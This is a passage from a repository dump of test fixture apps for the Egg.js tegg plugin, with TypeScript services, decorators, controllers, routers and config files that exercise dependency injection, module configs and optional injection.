    "path": "tegg/plugin/tegg/test/fixtures/apps/dynamic-inject-app/modules/dynamic-inject-module/SingletonHelloService.ts",
    "content": "import { AccessLevel, Inject, type EggObjectFactory, SingletonProto } from '@eggjs/tegg';\n\nimport { AbstractSingletonHello } from './AbstractSingletonHello.ts';\nimport { SingletonHelloType } from './FooType.ts';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class SingletonHelloService {\n  @Inject()\n  private readonly eggObjectFactory: EggObjectFactory;\n\n  async hello(): Promise<string[]> {\n    const helloImpls = await Promise.all([\n      this.eggObjectFactory.getEggObject(AbstractSingletonHello, SingletonHelloType.FOO),\n      this.eggObjectFactory.getEggObject(AbstractSingletonHello, SingletonHelloType.BAR),\n    ]);\n    const msgs = helloImpls.map((helloImpl) => helloImpl.hello());\n    return msgs;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/dynamic-inject-app/modules/dynamic-inject-module/decorator/ContextHello.ts",
    "content": "import { type ImplDecorator, QualifierImplDecoratorUtil } from '@eggjs/tegg';\n\nimport { AbstractContextHello } from '../AbstractContextHello.ts';\nimport { ContextHelloType } from '../FooType.ts';\n\nexport const CONTEXT_HELLO_ATTRIBUTE = 'CONTEXT_HELLO_ATTRIBUTE';\n\nexport const ContextHello: ImplDecorator<AbstractContextHello, typeof ContextHelloType> =\n  QualifierImplDecoratorUtil.generatorDecorator(AbstractContextHello, CONTEXT_HELLO_ATTRIBUTE);\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/dynamic-inject-app/modules/dynamic-inject-module/decorator/SingletonHello.ts",
    "content": "import { type ImplDecorator, QualifierImplDecoratorUtil } from '@eggjs/tegg';\n\nimport { AbstractSingletonHello } from '../AbstractSingletonHello.ts';\nimport { SingletonHelloType } from '../FooType.ts';\n\nexport const SINGLETON_HELLO_ATTRIBUTE = 'SINGLETON_HELLO_ATTRIBUTE';\n\nexport const SingletonHello: ImplDecorator<AbstractSingletonHello, typeof SingletonHelloType> =\n  QualifierImplDecoratorUtil.generatorDecorator(AbstractSingletonHello, SINGLETON_HELLO_ATTRIBUTE);\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/dynamic-inject-app/modules/dynamic-inject-module/impl/BarContextHello.ts",
    "content": "import { ContextProto } from '@eggjs/tegg';\n\nimport { AbstractContextHello } from '../AbstractContextHello.ts';\nimport { ContextHello } from '../decorator/ContextHello.ts';\nimport { ContextHelloType } from '../FooType.ts';\n\n@ContextProto()\n@ContextHello(ContextHelloType.BAR)\nexport class BarContextHello extends AbstractContextHello {\n  id = 0;\n\n  hello(): string {\n    return `hello, bar(context:${this.id++})`;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/dynamic-inject-app/modules/dynamic-inject-module/impl/BarSingletonHello.ts",
    "content": "import { SingletonProto } from '@eggjs/tegg';\n\nimport { AbstractContextHello } from '../AbstractContextHello.ts';\nimport { SingletonHello } from '../decorator/SingletonHello.ts';\nimport { SingletonHelloType } from '../FooType.ts';\n\n@SingletonProto()\n@SingletonHello(SingletonHelloType.BAR)\nexport class BarSingletonHello extends AbstractContextHello {\n  id = 0;\n\n  hello(): string {\n    return `hello, bar(singleton:${this.id++})`;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/dynamic-inject-app/modules/dynamic-inject-module/impl/FooContextHello.ts",
    "content": "import { ContextProto } from '@eggjs/tegg';\n\nimport { AbstractContextHello } from '../AbstractContextHello.ts';\nimport { ContextHello } from '../decorator/ContextHello.ts';\nimport { ContextHelloType } from '../FooType.ts';\n\n@ContextProto()\n@ContextHello(ContextHelloType.FOO)\nexport class FooContextHello extends AbstractContextHello {\n  id = 0;\n\n  hello(): string {\n    return `hello, foo(context:${this.id++})`;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/dynamic-inject-app/modules/dynamic-inject-module/impl/FooSingletonHello.ts",
    "content": "import { SingletonProto } from '@eggjs/tegg';\n\nimport { AbstractContextHello } from '../AbstractContextHello.ts';\nimport { SingletonHello } from '../decorator/SingletonHello.ts';\nimport { SingletonHelloType } from '../FooType.ts';\n\n@SingletonProto()\n@SingletonHello(SingletonHelloType.FOO)\nexport class FooSingletonHello extends AbstractContextHello {\n  id = 0;\n\n  hello(): string {\n    return `hello, foo(singleton:${this.id++})`;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/dynamic-inject-app/modules/dynamic-inject-module/package.json",
    "content": "{\n  \"name\": \"dynamic-inject-module\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"dynamicInjectModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/dynamic-inject-app/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/app/controller/app.ts",
    "content": "import { Controller } from 'egg';\n\nimport AppService from '../../modules/multi-module-service/AppService.js';\nimport TraceService from '../../modules/multi-module-service/TraceService.js';\n\nexport default class App extends Controller {\n  async find(): Promise<void> {\n    const traceService = await this.ctx.app.getEggObject<TraceService>(TraceService);\n    const appService = await this.ctx.app.getEggObject<AppService>(AppService);\n    const traceId = await traceService.getTraceId();\n    const app = await appService.findApp(this.ctx.query.name);\n    this.ctx.body = {\n      traceId,\n      app,\n    };\n  }\n\n  async find2(): Promise<void> {\n    const traceService = await this.ctx.app.getEggObject<TraceService>(TraceService);\n    const appService = await this.ctx.app.getEggObject<AppService>(AppService);\n    const traceId = await traceService.getTraceId();\n    const app = await appService.findApp(this.ctx.query.name);\n    this.ctx.body = {\n      traceId,\n      app,\n    };\n  }\n\n  async save(): Promise<void> {\n    const app = this.ctx.request.body;\n    const traceService = await this.ctx.app.getEggObject<TraceService>(TraceService);\n    const appService = await this.ctx.app.getEggObject<AppService>(AppService);\n    const traceId = await traceService.getTraceId();\n    await appService.save(app);\n    this.ctx.body = {\n      success: true,\n      traceId,\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/app/extend/application.ts",
    "content": "export default {\n  get appDefineObject() {\n    return {\n      from: 'app',\n    };\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/app/extend/application.unittest.ts",
    "content": "import { type MockApplication } from '@eggjs/mock';\n\nexport default {\n  mockUser(this: MockApplication): void {\n    this.mockContext({\n      user: {\n        userName: 'mock_user',\n      },\n    });\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/app/extend/context.ts",
    "content": "export default {\n  __COUNTER__: 0,\n\n  get counter(): number {\n    if (!this.__COUNTER__) {\n      this.__COUNTER__ = 0;\n    }\n    return this.__COUNTER__++;\n  },\n\n  get user() {\n    return {};\n  },\n\n  get appDefineObject() {\n    return {\n      from: 'ctx',\n    };\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/app/router.ts",
    "content": "import type { Application } from 'egg';\n\nexport default (app: Application): void => {\n  app.router.get('/apps', app.controller.app.find);\n  app.router.get('/apps2', app.controller.app.find2);\n  app.router.post('/apps', app.controller.app.save);\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/app/typings/index.d.ts",
    "content": "import 'egg';\nimport GlobalAppRepo from '../../modules/multi-module-repo/GlobalAppRepo.js';\nimport AppService from '../../modules/multi-module-service/AppService.js';\nimport ConfigService from '../../modules/multi-module-service/ConfigService.js';\nimport CustomLoggerService from '../../modules/multi-module-service/CustomLoggerService.js';\nimport TraceService from '../../modules/multi-module-service/TraceService.js';\n\ndeclare module 'egg' {\n  export interface EggModule {\n    multiModuleService: {\n      traceService: TraceService;\n      appService: AppService;\n      configService: ConfigService;\n      customLoggerService: CustomLoggerService;\n    };\n    multiModuleRepo: {\n      globalAppRepo: GlobalAppRepo;\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/config/config.default.ts",
    "content": "import path from 'node:path';\n\nimport type { EggAppConfig, EggAppInfo } from 'egg';\n\nexport default function (appInfo: EggAppInfo): EggAppConfig {\n  const config = {\n    keys: 'test key',\n    customLogger: {\n      xxLogger: {\n        file: path.join(appInfo.root, 'logs/xx.log'),\n      },\n    },\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config as unknown as EggAppConfig;\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/config/module.json",
    "content": "[\n  {\n    \"path\": \"../modules/multi-module-repo\"\n  },\n  {\n    \"path\": \"../modules/multi-module-service\"\n  }\n]\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  watcher: false,\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/modules/multi-module-common/model/App.ts",
    "content": "export default class App {\n  name: string;\n  desc: string;\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/modules/multi-module-common/package.json",
    "content": "{\n  \"name\": \"multi-module-common\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multi-module-common\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/modules/multi-module-repo/AppRepo.ts",
    "content": "import { AccessLevel, SingletonProto, Inject } from '@eggjs/tegg';\n\nimport App from '../multi-module-common/model/App.js';\nimport PersistenceService from './PersistenceService.js';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class AppRepo {\n  @Inject()\n  persistenceService: PersistenceService;\n\n  public async findApp(name: string): Promise<App | null> {\n    const raw = this.persistenceService.get(name);\n    if (!raw) {\n      return null;\n    }\n    return JSON.parse(raw);\n  }\n\n  public async insertApp(app: App): Promise<void> {\n    this.persistenceService.set(app.name, JSON.stringify(app));\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/modules/multi-module-repo/GlobalAppRepo.ts",
    "content": "import { AccessLevel, Inject, SingletonProto } from '@eggjs/tegg';\n\nimport App from '../multi-module-common/model/App.js';\nimport PersistenceService from './PersistenceService.js';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class GlobalAppRepo {\n  @Inject()\n  persistenceService: PersistenceService;\n\n  public async findApp(name: string): Promise<App | null> {\n    const raw = this.persistenceService.get(name);\n    if (!raw) {\n      return null;\n    }\n    return JSON.parse(raw);\n  }\n\n  public async insertApp(app: App): Promise<void> {\n    this.persistenceService.set(app.name, JSON.stringify(app));\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/modules/multi-module-repo/PersistenceService.ts",
    "content": "import { AccessLevel, SingletonProto } from '@eggjs/tegg';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class PersistenceService {\n  private store: Map<string, string> = new Map();\n\n  public set(key: string, val: string): void {\n    this.store.set(key, val);\n  }\n\n  public get(key: string): string | undefined {\n    return this.store.get(key);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/modules/multi-module-repo/package.json",
    "content": "{\n  \"name\": \"multi-module-repo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multiModuleRepo\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/modules/multi-module-service/AppService.ts",
    "content": "import { AccessLevel, ContextProto, Inject } from '@eggjs/tegg';\n\nimport App from '../multi-module-common/model/App.ts';\nimport AppRepo from '../multi-module-repo/AppRepo.ts';\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class AppService {\n  @Inject()\n  appRepo: AppRepo;\n\n  findApp(name: string): Promise<App | null> {\n    return this.appRepo.findApp(name);\n  }\n\n  save(app: App): Promise<void> {\n    return this.appRepo.insertApp(app);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/modules/multi-module-service/ConfigService.ts",
    "content": "import { AccessLevel, SingletonProto, Inject, type RuntimeConfig } from '@eggjs/tegg';\nimport type { EggAppConfig } from 'egg';\n\ninterface XSessionUser {\n  userName: string;\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class ConfigService {\n  @Inject()\n  private user: XSessionUser;\n\n  @Inject()\n  private config: EggAppConfig;\n\n  @Inject()\n  private runtimeConfig: RuntimeConfig;\n\n  getBaseDir(): string {\n    return this.config.baseDir;\n  }\n\n  async getCurrentUserName(): Promise<string> {\n    return this.user.userName;\n  }\n\n  getRuntimeConfig(): RuntimeConfig {\n    return this.runtimeConfig;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/modules/multi-module-service/CustomLoggerService.ts",
    "content": "import { AccessLevel, Inject, SingletonProto } from '@eggjs/tegg';\nimport { EggLogger } from 'egg-logger';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class CustomLoggerService {\n  @Inject()\n  xxLogger: EggLogger;\n\n  @Inject()\n  logger: EggLogger;\n\n  @Inject()\n  coreLogger: EggLogger;\n\n  async printLog(): Promise<void> {\n    this.xxLogger.info('hello logger');\n    this.logger.info('hello logger');\n    this.coreLogger.info('hello logger');\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/modules/multi-module-service/EggTypeService.ts",
    "content": "import { AccessLevel, EggQualifier, EggType, Inject, SingletonProto } from '@eggjs/tegg';\nimport { EggLogger } from 'egg-logger';\n\ninterface AppDefObj {\n  from: string;\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class EggTypeService {\n  @Inject({\n    name: 'appDefineObject',\n  })\n  @EggQualifier(EggType.APP)\n  appAppDefineObject: AppDefObj;\n\n  @Inject({\n    name: 'appDefineObject',\n  })\n  @EggQualifier(EggType.CONTEXT)\n  ctxAppDefineObject: AppDefObj;\n\n  @Inject()\n  @EggQualifier(EggType.APP)\n  logger: EggLogger;\n\n  testInject(): { app: AppDefObj; ctx: AppDefObj } {\n    return {\n      app: this.appAppDefineObject,\n      ctx: this.ctxAppDefineObject,\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/modules/multi-module-service/SingletonFooService.ts",
    "content": "import { AccessLevel, EggQualifier, EggType, Inject, SingletonProto } from '@eggjs/tegg';\nimport { EggLogger } from 'egg-logger';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class SingletonFooService {\n  @Inject()\n  @EggQualifier(EggType.APP)\n  logger: EggLogger;\n\n  async printLog(): Promise<void> {\n    this.logger.info('hello logger');\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/modules/multi-module-service/TraceService.ts",
    "content": "import { AccessLevel, SingletonProto, Inject } from '@eggjs/tegg';\n\ninterface Tracer {\n  traceId: string;\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class TraceService {\n  @Inject()\n  tracer: Tracer;\n\n  getTraceId(): string {\n    return this.tracer.traceId;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/modules/multi-module-service/package.json",
    "content": "{\n  \"name\": \"multi-module-service\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multiModuleService\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app-simple/config/config.default.ts",
    "content": "import path from 'node:path';\n\nimport type { EggAppConfig, EggAppInfo } from 'egg';\n\nexport default function (appInfo: EggAppInfo): EggAppConfig {\n  const config = {\n    keys: 'test key',\n    customLogger: {\n      xxLogger: {\n        file: path.join(appInfo.root, 'logs/xx.log'),\n      },\n    },\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config as unknown as EggAppConfig;\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app-simple/config/module.json",
    "content": "[\n  {\n    \"path\": \"../modules/multi-module-repo\"\n  }\n]\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app-simple/config/plugin.ts",
    "content": "export default {\n  // tracer: {\n  //   package: '@eggjs/tracer',\n  //   enable: true,\n  // },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  watcher: false,\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app-simple/modules/multi-module-repo/PersistenceService.ts",
    "content": "import { AccessLevel, SingletonProto } from '@eggjs/tegg';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class PersistenceService {\n  private store: Map<string, string> = new Map();\n\n  public set(key: string, val: string): void {\n    this.store.set(key, val);\n  }\n\n  public get(key: string): string | undefined {\n    return this.store.get(key);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app-simple/modules/multi-module-repo/package.json",
    "content": "{\n  \"name\": \"multi-module-repo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multiModuleRepo\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/egg-app-simple/package.json",
    "content": "{\n  \"name\": \"egg-app-simple\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/inject-module-config/app/controller/app.ts",
    "content": "import { Controller } from 'egg';\n\nimport { Foo } from '../../modules/module-with-config/foo.ts';\nimport { Bar } from '../../modules/module-with-overwrite-config/bar.ts';\n\nexport default class App extends Controller {\n  async baseDir(): Promise<void> {\n    const simple = await this.ctx.app.getEggObject<Foo>(Foo);\n    const configs = await simple.getConfig();\n    this.ctx.body = configs;\n  }\n\n  async overwriteConfig(): Promise<void> {\n    const bar = await this.ctx.app.getEggObject<Bar>(Bar);\n    const configs = await bar.getConfig();\n    this.ctx.body = configs;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/inject-module-config/app/extend/application.unittest.ts",
    "content": "import { type MockApplication } from '@eggjs/mock';\n\nexport default {\n  mockUser(this: MockApplication): void {\n    this.mockContext({\n      user: {\n        userName: 'mock_user',\n      },\n    });\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/inject-module-config/app/extend/context.ts",
    "content": "export default {\n  __COUNTER__: 0,\n  get counter(): number {\n    if (!this.__COUNTER__) {\n      this.__COUNTER__ = 0;\n    }\n    return this.__COUNTER__++;\n  },\n\n  get user() {\n    return {};\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/inject-module-config/app/router.ts",
    "content": "import type { Application } from 'egg';\n\nexport default (app: Application): void => {\n  app.router.get('/config', app.controller.app.baseDir);\n  app.router.get('/overwrite_config', app.controller.app.overwriteConfig);\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/inject-module-config/app/typings/index.d.ts",
    "content": "import 'egg';\nimport { Foo } from '../../modules/module-with-config/foo.ts';\nimport { Bar } from '../../modules/module-with-overwrite-config/bar.ts';\n\ndeclare module 'egg' {\n  export interface EggModule {\n    simple: {\n      foo: Foo;\n    };\n    overwrite: {\n      bar: Bar;\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/inject-module-config/app.ts",
    "content": "import { Application } from 'egg';\n\nexport default class AppBoot {\n  app: Application;\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  configWillLoad(): void {\n    if (this.app.moduleConfigs?.overwrite?.config) {\n      (this.app.moduleConfigs.overwrite.config as Record<string, any>).features.dynamic.bar = 'overwrite foo';\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/inject-module-config/config/config.default.ts",
    "content": "import path from 'node:path';\n\nimport { type EggAppConfig, type EggAppInfo } from 'egg';\n\nexport default function (appInfo: EggAppInfo): EggAppConfig {\n  const config = {\n    keys: 'test key',\n    customLogger: {\n      xxLogger: {\n        file: path.join(appInfo.root, 'logs/xx.log'),\n      },\n    },\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config as unknown as EggAppConfig;\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/inject-module-config/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n\n  watcher: false,\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/inject-module-config/modules/module-with-config/foo.ts",
    "content": "import { AccessLevel, ContextProto, Inject, ModuleConfigs } from '@eggjs/tegg';\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class Foo {\n  @Inject()\n  moduleConfigs: ModuleConfigs;\n\n  @Inject()\n  moduleConfig: Record<string, any>;\n\n  async getConfig(): Promise<object> {\n    return {\n      moduleConfigs: this.moduleConfigs.get('simple'),\n      moduleConfig: this.moduleConfig,\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/inject-module-config/modules/module-with-config/module.unittest.yml",
    "content": "features:\n  dynamic:\n    bar: 'foo'\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/inject-module-config/modules/module-with-config/module.yml",
    "content": "features:\n  dynamic:\n    foo: 'bar'\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/inject-module-config/modules/module-with-config/package.json",
    "content": "{\n  \"name\": \"simple\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"simple\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/inject-module-config/modules/module-with-overwrite-config/bar.ts",
    "content": "import { AccessLevel, ContextProto, Inject, ModuleConfigs } from '@eggjs/tegg';\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class Bar {\n  @Inject()\n  moduleConfigs: ModuleConfigs;\n\n  @Inject()\n  moduleConfig: Record<string, any>;\n\n  async getConfig(): Promise<object> {\n    return {\n      moduleConfigs: this.moduleConfigs.get('overwrite'),\n      moduleConfig: this.moduleConfig,\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/inject-module-config/modules/module-with-overwrite-config/module.unittest.yml",
    "content": "features:\n  dynamic:\n    bar: 'foo'\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/inject-module-config/modules/module-with-overwrite-config/module.yml",
    "content": "features:\n  dynamic:\n    foo: 'bar'\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/inject-module-config/modules/module-with-overwrite-config/package.json",
    "content": "{\n  \"name\": \"overwrite\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"overwrite\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/inject-module-config/package.json",
    "content": "{\n  \"name\": \"inject-module-config\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/invalid-inject/app/modules/module-a/BarService.ts",
    "content": "import { SingletonProto, Inject } from '@eggjs/tegg';\n\n@SingletonProto()\nexport class BarService {\n  @Inject()\n  doesNotExist: object;\n\n  bar(): void {\n    console.log(this.doesNotExist);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/invalid-inject/app/modules/module-a/package.json",
    "content": "{\n  \"name\": \"module-a\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/invalid-inject/config/config.default.ts",
    "content": "import path from 'node:path';\n\nimport { type EggAppConfig, type EggAppInfo } from 'egg';\n\nexport default function (appInfo: EggAppInfo): EggAppConfig {\n  const config = {\n    keys: 'test key',\n    customLogger: {\n      xxLogger: {\n        file: path.join(appInfo.root, 'logs/xx.log'),\n      },\n    },\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config as unknown as EggAppConfig;\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/invalid-inject/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  watcher: false,\n  teggEventbus: false,\n  teggController: false,\n  teggDal: false,\n  teggSchedule: false,\n  teggOrm: false,\n  teggAjv: false,\n  teggAop: false,\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/invalid-inject/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/optional-inject/app/modules/module-a/BarService.ts",
    "content": "import { SingletonProto, Inject, InjectOptional } from '@eggjs/tegg';\n\n@SingletonProto()\nexport class BarService {\n  @Inject({ optional: true })\n  doesNotExist1?: object;\n\n  @InjectOptional()\n  doesNotExist2?: object;\n\n  bar(): { nil1: string; nil2: string } {\n    return {\n      nil1: this.doesNotExist1 ? 'N' : 'Y',\n      nil2: this.doesNotExist2 ? 'N' : 'Y',\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/optional-inject/app/modules/module-a/FooService.ts",
    "content": "import { SingletonProto, Inject, InjectOptional } from '@eggjs/tegg';\n\n@SingletonProto()\nexport class FooService {\n  constructor(\n    // @ts-expect-error readonly property in constructor\n    @Inject({ optional: true }) readonly doesNotExist1?: object,\n    // @ts-expect-error readonly property in constructor\n    @InjectOptional() readonly doesNotExist2?: object,\n  ) {}\n\n  foo(): { nil1: string; nil2: string } {\n    return {\n      nil1: this.doesNotExist1 ? 'N' : 'Y',\n      nil2: this.doesNotExist2 ? 'N' : 'Y',\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/optional-inject/app/modules/module-a/package.json",
    "content": "{\n  \"name\": \"module-a\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/optional-inject/config/config.default.ts",
    "content": "import path from 'node:path';\n\nimport { type EggAppConfig, type EggAppInfo } from 'egg';\n\nexport default (appInfo: EggAppInfo): EggAppConfig => {\n  const config = {\n    keys: 'test key',\n    customLogger: {\n      xxLogger: {\n        file: path.join(appInfo.root, 'logs/xx.log'),\n      },\n    },\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config as unknown as EggAppConfig;\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/optional-inject/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  teggEventbus: false,\n  teggController: false,\n  teggDal: false,\n  teggSchedule: false,\n  teggOrm: false,\n  teggAjv: false,\n  teggAop: false,\n  watcher: false,\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/optional-inject/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/optional-module/app/modules/root/Root.ts",
    "content": "import { SingletonProto, Inject } from '@eggjs/tegg';\nimport { UsedProto } from 'used/Used';\n\n@SingletonProto()\nexport class RootProto {\n  @Inject() usedProto: UsedProto;\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/optional-module/app/modules/root/package.json",
    "content": "{\n  \"name\": \"root\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"root\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/optional-module/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = function (appInfo) {\n  const config = {\n    keys: 'test key',\n    customLogger: {\n      xxLogger: {\n        file: path.join(appInfo.root, 'logs/xx.log'),\n      },\n    },\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config;\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/optional-module/config/plugin.js",
